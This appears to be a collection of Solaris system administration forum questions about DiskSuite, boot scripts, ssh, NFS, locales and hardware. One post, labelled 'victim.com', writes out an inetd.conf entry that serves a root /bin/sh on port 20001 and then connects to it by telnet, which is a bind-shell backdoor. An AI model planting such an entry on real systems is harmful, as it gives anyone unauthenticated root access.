I need to configure a package to run as a non-root on my Intel Solaris machine.Please can anyone help.Thank you.Chumy

Hello everybody,Can you help please with Solstice DiskSuite reconfigurationNow I have metadevice d0 as :more md.cf# metadevice configuration file# do not hand editd0 1 6 c0t1d0s0 c0t2d0s0 c0t4d0s0 c0t5d0s0 c0t8d0s0 c0t9d0s0 -i 32bFor example, I want to change scsi id of disk c0t1d0s0 for ...

HiIm trying to start a java application during boot. but it keeps failing on me. I did the followingin /etc/init.d/ i placed the "vip" start/stop script.#!/sbin/shecho "****** Running vip start/stop script $1" >> /export/home/admin/rebootlogsu - vip -c "/opt/gauss/vip8/startStopScript.sh ...

Using Solaris 8, I have 2 JNI card connections, using SDD software, to an IBM Shark SAN.Currently, I'm using Solstice Disksuite with metadbs on the internal disks.The SAN is working fine.I have set up an extra metadb replica pair in a slice on the far end of one of the virtual disks ...

I've just inherited looking after a small network that utilises samba(vers1.8). When I run ./configure, the process halts at the last line.loading cache ./config.cachechecking for gcc nochecking for ccnoconfigure: error: no acceptable cc found in $PATHAccording to some of the info I gathered, ...

How do you find out how much memory a process or a PID is using? any tools?Thx.

I have installed the packages from Solaris 9 for ssh on Solaris 8.I get the following message "Couldn't stat random seed file /users permission denied when I remove the prng_seed file which is created in the .ssh directory in my home directory, ssh will run.Any ideas

Hi,I think my system ...#uname -aSunOS bob 5.8 Generic_108528-09 sun4u sparc SUNW,Sun-Blade-100... is messed up.Here's is the output I am getting from df ...# df -kFilesystemkbytesusedavail capacity Mounted on/dev/dsk/c0t0d0s06191949 4544922 158510875%//proc 0000%/procfd 0000%/dev/fdmnttab ...

Hi,I have a question for sar command.When I execute "sar 300 10", cpu usage information is shown with 300 seconds interval, and 10 times.As I know this shows CPU usage information in snapshot with 300 seconds interval, it is not averaged.For example, I execute "sar 300 3" at 01:00:00.And I ...

I would like to change the number of max open files on a Solaris 2.6Can anyone please post how I should do this?Thanks.

When I execute locale on a system that I have telneted to I get the following:LANG=en_US.ISO8859-1LC_CTYPE=en_US.ISO8859-1LC_NUMERIC=en_US.ISO8859-1LC_TIME=en_US.ISO8859-1LC_COLLATE=en_US.ISO8859-1LC_MONETARY=en_US.ISO8859-LC_MESSAGES=CLC_ALL=When I do it after ssh I ...

INIT: Command is respawning too rapidly. Check for possible errors.id: SV "/usr/bin/srload -D -q"It is also filling up my wtmpx fileI found an this entry in /etc/inittab and commented it out:SV:23:respawn:/usr/bin/srload -D -qAfter rebooting it is still happening.I am running Solaris 8 and just ...

I have had some problems with a hacker. I am trying to track the logins to my system. However, 'last' gives me a return that states the latest login was Dec 17th (even though I loginto the system multiple times per day. Any idea how I can 'restart' the recording of logins?

I have a box with hme0 IP on subnet #1hme0:1 IP on subnet #2If I send something to the hme0:1 address, is Solaris smart enough to use the loopback interface and not send something out the wire?

Has anybody run into a problem where you run an iPlanet start script and then exit your ssh or telnet session and are left with a hung terminal?Thanks.

Hi,I have a File server running Solaris (without VxVM & VxFS), which has about 5TB of data on a SAN. The logical disks are up to 350 GB in size (same as the filesystems).I want to migrate to a new server, which will be running VxVM and VxFS, version 3.5. The new server will take over the ...

I log into a remote 2.6 box run either init S, init s, or reboot -- -s to boot into single user mode. However, the system reboots and continues to boot to system run level 3....i.e. i can log back onto the box. Any one got any ideas why? I need to back the box up and need root unmounted. ...

We are in the process of migrating applications from a SUN Enterprise 1000 server to SunFire 6800 server. Will COBOL code need to be recompiled upon migrating it from the E10K to the F6800 server (migrations are done at the domain level).

User ksh. I can export TZ and other env variables. But got error with variable 'LANG'.root@>LANG=en_UScouldn't set locale correctly

Hi All,I have one server up and running and want to build similar to other machine; other machine has data which I am not interested in saving, I am new to this field, therefore need some guidance to move forward.Both of my system has same configuration, viz disk sizes, memory, and both are ...

Hi there,I have an old SS5 running Solaris 9 & it runs like a mofo. Simple excellent, with just one flaw. One reason or another I can't seem to _disable_ the power management. After 30 minutes of idleness, it suspends to OpenBoot & every possible interaction except for serial console ...

- victim.com -## vi /etc/inetd.conf..20001 stream tcp nowait root /bin/sh sh -i..~~## pkill -HUP inetd#- another machine - # telnet victim.com 20001Trying 192.168.0.10...Connected to 192.168.0.10.Escape character is '^]'.( ENTER )sh: ^M: not found( Input 'ls' and ENTER)sh: ls^M: not found( ...

I have a ultra 5 running solaris 8 and am thinking about getting a flat panel monitor (the thin ones). I plan on using a "switch box" so that I can use that one monitor between the unix box and my laptop running windows. Are all the monitors on the market compatible with my ultra 5 w/ solaris ...

My problem is like this. Server cannnot unmount /home. When server boot up it will execute script in /etc/init.d/autofs start.This script will mount user from /export/home to /home.When I run script /etc/init.d/autofs stop at the terminal the message display umount: /home busy.I've also try to ...

Using Solaris 2.6 SPARC, I share 2 filesystems to SunOS 4.1 clients via NFS.I have to gain root access on these filesystems with some clients but with the root=MYNETGROUP of the share command and MYNETGROUP containing the fully qualitfied name of the client machines, I still don't have root ...

Hi,Using normal email on Solaris, is it possible to configure an account so that it automatically process mails that arrive in an inbox? I would like to be able to set-up an account so that it sends the contents of the mails it receives to an external programme. ThanksPete ...

How bad does it sound ? Need for immediate reboot ?Feb 27 06:42:46 hostname ufs: [ID 879645 kern.notice] NOTICE: /var: unexpected free inode 400368, run fsck(1M)Feb 27 06:45:08 hostname last message repeated 5 timesThanks

How do you create directories in the "Anonymous FTP" home directory, so that users can deposit files, as can be done in the "cores" directory at the "sunsolve.sun.com" FTP site?

I am deciding what hard drives to order for my e450 and I have a question. It has 2 RAID controllers (X6602A). I'm assuming that if I have a total of 20 drives in this box, that I won't be able to RAID 5 them all together. Instead, I will have 2 groups of 8, and then 4 that are not available ...

Hello: I am having trouble figuring out how to log off users that have been idle for x minutes? All of the machines are Solaris 9, we connect with ssh, and there are some x-windows users as well. What can I set that will hold up if the user changes shells? How will x-windows users be ...

Hello,I've a trouble in configuring remote access files /etc/hosts.equiv & allowing particular group members to ftp service.I tried a particular host, per se host1 as a trusted host for host 2.I put an entry of host1 at /etc/hosts.equiv of host 2. But still it requires a password for me to ...

HiOur setup has no naming service, we just use the /etc/hosts files. Is there a product or tool or script anything that will allow me to maintain a large environment using this flat naming service. What we really need is greater control.Many thanksRgdsCharles ...

I am trying to discover hardware within a SPARC server running Solaris 8. The hardware I would like to identify is the processors ( number, speed, and location), memory (number, amount, and slot location). Is there a command that I can run to discover this information within the Solaris OS?Any ...

I have a script that runs the snoop command on an interface and outputs to a log file. The script has been set with setuid to run as root. When I run the script not as root but another user I get the message "snoop: /dev/hme: Permission denied". It runs fine as root. Any ideas on why the setuid ...

Howdy,I'm looking for a query that I can issue on Sun machines to identify the total possible diskspace (not just free space or allocated space).An example, on AIX, I can issue as root: lscfg |grep hdisk*then just add up the kilobytesThanks,Mike ...

I'm installing Solaris 8 install on an Ultra 5 machine that had 5.7.I'm to the layout file system section of the install.It says that the \swap isn't at the beginning of the drive, so I have to manually allocate the file system.Everything is done in cylinders and I've not partitioned a ...

Hi,Is there a zip program that will allow me to create self-extracting files in Solaris and extract them in Windows2000?I also need it to extract to a certain location and overwrite existing files automatically.Thanks,Miller

Hi,I was just wondering if it was still possible to get OpenStep for Solaris and if so, where could I get it?Thank you,RJ

When I try to create a directory under /home I am getting "illegal Operation".Other than a possible kernel problem, is there any other cause for this?mkdir /home/test> illegal Operation/home permissions are set to 664I am root

I've got a Sparc Solaris 2.6 server running as NIS+ root domain server in NIS compatibility mode ( I've got many Sunos 4.1.X machines to serve ), and got some problems with that.On the same server, I share many filesystems in NFS v2 security DH mode. ( It's the only mode in which I can gain ...

HiI work in a site with many sys admins, how do I prevent them or log them when they edit a particular file. They all have root access.Many ThanksCharles

At login there is usually an image to the right of the screen one of our clients has changed this and i need to change it to something more appropriate before it goes out to another clientPlease mail me on mjeeves@trimtec.com

We are using sunpro workshop 4.0.Will the license work on a disaster test machine by merely restoring all the file systems?

Hello SysAdmins. I have run into a very serious problem when we are just days away from going in production.I am trying to build the gcc and gmake programs into the Solaris box. I already have gcc and make programs from sunfreeware. The details of gcc that is installed from package is as ...

We are considering only carrying software/telephone support for our servers. We would handle the "break and fix" type of stuff ourselves, i.e. we carry the spare parts and replace them ourselves. Is anybody doing this?

I new help adding a new hard drive in my Sun E250. The hard drive is a 18GB Seagate Cheetah ST318404LC. This will be an addtion as drive bays 0-3 have drives in them in which I have two vacant. After mounting the rails to the drive, pushing (plugging) it into place what do I need to do from ...

HiI would like to know the parameters to pass in the /etc/dfs/dfstab file to share the filesystem as rw only to specific users .. ThanksJerome

Can anyone tell me how I can get a remote Solaris 9 CDE login screen to come up on a linux box. I have been playing around with dtlogin, dtsession,Xsession etc but can only display a remote session, not the login screen. Thanks in anticipation.

I just cold-installed Solaris 8, now the server wants to use itself as a gateway and cannot see outside our network. I've set the netmask and /etc/defaultrouter to the values the server had under Solaris 7. What am I missing?Thanks,John G

I have new servers that have no tape drives. How can I set them up to back up to a tape drive on a server that has one? All are running Solaris 8.